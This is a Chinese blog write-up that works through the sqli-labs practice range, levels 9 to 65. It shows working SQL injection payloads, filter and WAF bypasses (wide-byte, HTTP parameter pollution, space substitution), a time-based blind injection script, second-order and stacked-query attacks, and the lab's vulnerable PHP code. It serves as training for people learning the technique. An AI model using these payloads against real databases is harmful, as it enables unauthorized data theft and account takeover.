sqli-labs

sqli靶场

先试单双引号,有报错说明原结构被破坏,则为该引号闭合,都没反应,可能是数字型。再加注释符(–、–+、#都有可能,注意浏览器中从表单提交可能被url编码,可以从hackbar或者bp提交表单),如果还是报错,则可能存在括号闭合,加括号报错消失之后试下两个语句,or 1=1,or 1=0以及order by ...后者查列数,前者如果结果有所不同则存在布尔注入利用,之后可尝试联合注入、布尔盲注,如果页面始终都没发生变化,则试下时间注入。不存在报错将所有可能情况都试下(' or 1=1/0#" or 1=1/0#") or 1=1/0#') or 1=1/0#')) or 1=1/0#")) or 1=1/0#、)

常见闭合:

1
'、 "、')、")、'))、"))

level9

发现不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用。布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if()函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
(%3C和%3E是<>,被编码了hhh)

可以看到如果判断长度不为8,刷的一下就加载完了,但是如果数据库名长度等于八就延迟十秒

后面的操作就类似了

在利用python编写脚本的时候要利用到time模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import time
import requests

url = 'http://124.70.99.199:3456/Less-9/'


def sqli():
length = 0
for i in range(1,15):
start_time = time.time()
payload = f"""?id=1' and if(length(database())={i},sleep(2),1)--+"""
r = requests.get(url+payload)
end_time = time.time()
exec_time = end_time - start_time
if exec_time>2:
print(i)
break

sqli()

level17

报错注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
updatexml(target_xml,xpath_string,new_value)
#target_xml:需要更新的xml数据,可以是xml类型的列或变量
#xpath_string:xpath表达式,用于指定要更新的节点或属性
#new_value:新的值, 用于替换目标节点或属性的值
#示例:
update your_table set xml_culumn = updatexml(xml_column,'/root/user[1]/name','Potatowo') where id = 1;
#上述示例中your_table是要更新的表,xml_column是包含xml数据的列名,/root/user[1]/name是xpath表达式,指定要更新的节点路径,'Potatowo'是设置的新的值

extractvalue(xml_data,xpath_string)
#xml_data:xml数据,可以是xml类型的列或变量
#xpath_string:xpath表达式,用于指定要提取的节点
#函数根据提供的xpath表达式在xml数据中查找匹配的节点,并返回该节点的文本值

#一个有效的xpath表达式应该满足以下要求:
#以节点测试、函数、运算符或路径表达式开头
#路径表达式应以节点轴或节点名称开始

#若不满足xpath语法,则会报错,如果xpath为sql语句,mysql会执行,并将执行结果返回在报错中

测试注入点的时候发现无论如何都没有反应,都只出现上图的情况,当用户名为’admin’或’Dumb’时密码输入什么都行,懵逼了挺久的,然后看了眼这个

啊原来是修改密码啊。。。真tm

既然是修改密码,后端一定存在update语句,修改的是password,猜测传入的password存在引号闭合,随手试了下,

,当然此处的用户名必须是admin或者Dumb,到最后一步查表内容时出问题了

看了眼大佬博客了解到mysql修改和查询不能是同一张表,因此可以引入一个临时表(详情去看另一篇博客),然后又踩坑(不过还好,报错的意思就是说临时表必须起别名,问题不大

一开始还在纳闷怎么没有admin,观察后发现好像输出字数被限制了,如果想尽可能完整获取数据库中的信息,可以用not in运算符把以及显示出来的用户名排除掉

如下,查出来的满满都是admin(,看来懵逼时瞎尝试的次数不少(

换成updatexml()函数试下,注意新加入的’*****‘参数

想了一下,之前能够回显错误信息的不是都可以用报错注入吗?(脑袋发光),好像比盲注效率高了不少

这道题看大佬博客好像都审计了一眼源代码,于是跟着学习了下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}
1
2
3
4
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

其中get_magic_quotes_gpc()函数的作用是判断get_magic_quotes_gpc()是否开启,如果开启的话会给用户传入的信息添加上转义字符’\‘,,stringslashes()则是去掉转义字符,这个方法在新版本的php中已经被废弃了,也盲学一下,增长见识。

HTTP头注入:

看一眼源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

一开始的页面,随便输一个显示本机IP,从源代码可以看出得先登陆成功才会显示uagent,就试admin,源代码不含闭合,是数字型的,试了下admin or 1=1--+不行,试密码吧,试来试去最后居然还是最后忘记填密码了登陆成功的。。。密码为空。。。

成功显示出uagent,看到代码这一行:

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

和上一题一样,uagent单引号闭合,没有查询语句,可以试试报错注入,因为IP变量不可控(不可按预期方法控制),uname这里不是admin就没法登录也就没法显示uagent,指向很明确了,user agent就是注入点,单引号闭合,

成功报错,注意到原来语句的VALUE存在左括号,因此注入时要额外增加一个右括号保证语句的完整。

或者加and '

确实没密码。。。

level19和level18差不多,只是注入点从uagent变成了referer

level20:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}

单引号闭合username=cookie,因此只需要对cookie进行闭合后注入恶意语句即可

level21:

和上一题基本没差,就是在cookie上多了个base64编码过程,然后查询语句闭合方式变为')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}

level22:

同上题,改成双引号闭合罢了

level23:

单引号输进去报错,但是加注释报错仍然存在,看了眼源代码,注释被过滤掉了

1
2
3
4
5
6
7
8
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

emmm,当时的万能密码怎么说来着,1' or '1'='1那会没去仔细深究为啥长这样,突然就明白了(),当存在注释符过滤时最后的’1会和原sql语句的引号闭合,保证sql语句的完整性

构造payload:

1
2
3
id=1' and extractvalue(1,concat(1,(select database()))) or '1'='1
或者用and '闭合后面的引号也行
id=1' and extractvalue(1,concat(1,(select database()))) and '

这里是报错注入所以就不用太在意and、or逻辑关系

(前面报错注入做太爽了后面才注意到可以直接联合注入,无所谓,报错注入真好用)

level24

目前最牛的一级

代码审计

源代码大致有主页、修改密码、注册新用户页面。看到存在mysql_escape_string()过滤函数存在,开始搜寻不存在过滤的变量

诶嘿,这不是就传入了个SESSION没有过滤吗

1
2
3
4
5
6
7
#pass_change.php

# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

并且下面的查询语句就是对$username变量进行查询,只要能改变这个SESSION的值便可以间接对SQL语句进行操作,但是SESSION是存放在服务端的,客户端没法直接进行修改,不急,继续看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#login.php

function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}

}

$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}

从login.php这里的代码就能看出SESSION的值取决于变量$login的值,变量$login的值取决于用户在登录时的用户名(row的第一个字段),那就慢慢变得有点头绪了,只要创建一个新用户,控制新用户用户名就能间接控制SESSION。进而达到控制数据库的目的。

逻辑理到这里了突然就卡壳了,受限于之前的惯性思维一直以为是要获取数据库中的数据,想了很久没想出个所以然来,去看了眼题解,发现这种注入被称为二次注入,当以admin'#的身份登录后修改其密码,实际上就能修改admin的密码

SQL语句如下:

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#    ' and password='$curr_pass' ";

结果是打完之后忘记admin'#的密码了。。。等我晚上重启一下数据库。。

军训归来(,新建一个新用户admin'#

admin'#登录

修改其密码为114514,根据sql语句分析,此时应该修改了admin用户的密码

成功登录admin

level25

一个简单的双写过滤,payload:

1
?id=1' anandd extractvalue(1,concat(1,(select database())))--+

level26

空格过滤,or and过滤,注释符过滤

注释符过滤前面提到可以通过闭合后引号解决,空格过滤在此之前只接触过/**/,才疏学浅,结果发现/**/也被过滤了(呜呜呜呜

去找了找网上的资料,如果空格被过滤了可以用如下字符替代:

1
2
3
4
5
6
%a0:非断行空格
%0a:新建一行
%0b:Tab(垂直)
%0c:新的一页
%0d:return
%09:Tab(水平)

这里%a0和%0b可行,payload:

1
?id=1'%a0anandd%a0extractvalue(1,concat(1,(select%a0database())))%a0oorr'1'='1

在网上看到一种神奇的写法,记个笔记:

1
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 

level27

payload:

依旧对空格过滤,但是这回上面提到的几个都行,select存在过滤,selEct大写绕过

1
?id=1'%0aand%0aupdatexml(1,(concat(1,(selEct%0adatabase()))),1)%0aand%0a'

level28

没有报错信息,报错注入行不通了,试下盲注,空格依旧使用%0a过滤,payload:

1
?id=1%27%0aand%0alength(database())=8%0aor%0a%271%27=%272

这里就要注意or和and之间的逻辑关系了,上面两种是正确的注入逻辑,下面两种是错误的注入逻辑

时间盲注也行,但是可以用布尔盲注为什么要用时间盲注呢(笑

level29

测试单引号出现报错加注释报错消失,也没有任何的过滤。。

payload:

1
?id=1%27%20and%20extractvalue(1,concat(1,(select%20database())))--+

Protected By The World’s Best Firewall。。。emmm

感觉没那么简单,看了眼源代码,咋还有个login.php和hacked.php,找遍网页也没出现这俩,手动进login.php,看起来像是隐藏关卡?

还多了两个pdf链接,应该是提示之类的,先不看,直接刚一下

测试了下单引号双引号闭合,都炸了,如下

啊?试了很久发现除了最中规中矩的纯数字,其他通通都会寄。。有点意思,那就看下源代码

有个白名单,如果传入不是纯数字就跳转到hacked.php,emmm…不急往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

把query_string(http://host/?par1=var1&par2=var2&...中’?’之后的部分)以’&’分开然后截取每一部分的前两个字符判断是不是’id’,如果是的话截取该部分等号之后的东西。。。说了那么多,所以,不就是返回传入的参数id吗????

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);

foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}

嘶。。这意思是id必须是纯数字?没法子了,网页给了两个pdf,一个404了,另一个配合我的工地英语和翻译器食用

1
2
3
4
5
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
//echo $id1;
whitelist($id1);

最后那个pdf的内容提炼出来就是这样一张表:

可以看到搭建在apache服务器上的php服务对于传入多个相同名字的参数,服务器只解析最后一个,所以$_GET['id']变量实际上是最后一个id参数,但是根据waf的意思,实际上过滤的是最先出现的参数id,对第二个id参数进行注入就行了

level30

表关卡没啥好说的,双引号闭合联合注入:

主要看里关:

同29关,HPP参数污染,把单引号换成双引号

level31

表关:

里关:

level32

直接就是把引号给转义了

1
2
3
4
5
6
7
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}

通常情况下来说用户输入的字符串永远无法将原SQL语句的单引号闭合,通常情况下这里是不存在SQL注入的,但是注意到数据库使用的是GBK编码:

1
mysql_query("SET NAMES gbk");

宽字节的格式就是在地址后面加一个%df,再加单引号,可以通过上面的测试发现,在单引号之前PHP会自动加一个\(反斜杠),因为反斜杠的编码为%5c,所以自动转义为',而在GBK编码中,%df5c是繁体字“連”,由于汉字是双字节,所以这里’之前的\就会被吃掉消失,那么会造成单引号成功逃逸,爆出MySQL数据库的错误。

level33

同32

level34

在POST里进行宽字节注入

level35

虽然使用addslashes()进行了转义,但是id变量并没有用引号闭合,

主要影响到爆字段名等之后需要引号的部分:

再加上0x

level36

使用mysql_real_escape_string()函数来转义特殊字符,包括单双引号

1
2
3
4
5
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}

level37

level38

正常单引号闭合注入ok,感觉没那么容易去看了眼源代码:

1
2
3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

是存在mysqli_multi_query(),可执行多条sql语句,因此也可以进行堆叠注入

插入新用户potato

查询id为999的用户:

level39

id无闭合,数字型,直接注入即可,也可像上题一样堆叠注入

level40

单引号+括号闭合,

源代码里混入了level24的二次注入?

level41

数字型,但是可以堆叠注入

level42

点开忘记密码:

点开新用户:

emmm,结合源代码,堆叠注入没跑了:

1
2
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))

注意username被转义,可以利用password

1
2
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

登陆成功

level43

同上题,只是闭合方式换成了单引号括号:

1
2
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))

level44

同level42

level45

同43

level46

一进来这样一个页面,传入sort参数发现数据的顺序改变,推测是传入参数拼接在了order by后面,那就不能联合注入了,看了眼源代码不是用multi_query(),那也没办法堆叠注入了,

想了想还是用报错注入,updatexml()

level47

比起上一题多了个单引号闭合:

level48

没有报错信息,判断为数字型,注入点在order by 后,延时注入:

level49

引号闭合,但是无报错信息,延时注入

level50

可报错注入也可堆叠注入:

1
2
3
4
5
6
7
8
9
10
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
......
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}

level51

比起上一题多了单引号闭合:

1
2
3
4
5
6
7
8
9
10
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
......
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}

level52

没有报错,只能堆叠或者延时:

1
2
3
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

level53

依旧没有报错,比起上一题多了单引号闭合:

1
2
3
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

level54

被限定了次数,十次以内要获得secret_key

爆表名:

字段名:

那么我们目标的应该就是secret_P551字段中的东西了,爆数据:

level55

有14次机会

括号闭合整数:

1
2
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

level56

单引号+括号闭合:

level57

双引号闭合

level58

使用单引号闭合报错注入

level59

整数闭合,报错注入:

level60

双引号+括号报错注入:

level61

单引号+双括号闭合:

level62

单引号+括号闭合,无报错结果,可布尔可时间盲注

level63

单引号,无报错信息,布尔盲注or时间盲注:

level64

整数+双括号闭合,布尔or时间盲注

level65

双引号+括号闭合,布尔or时间盲注

作者

Potat0w0

发布于

2023-02-09

更新于

2024-01-28

许可协议


评论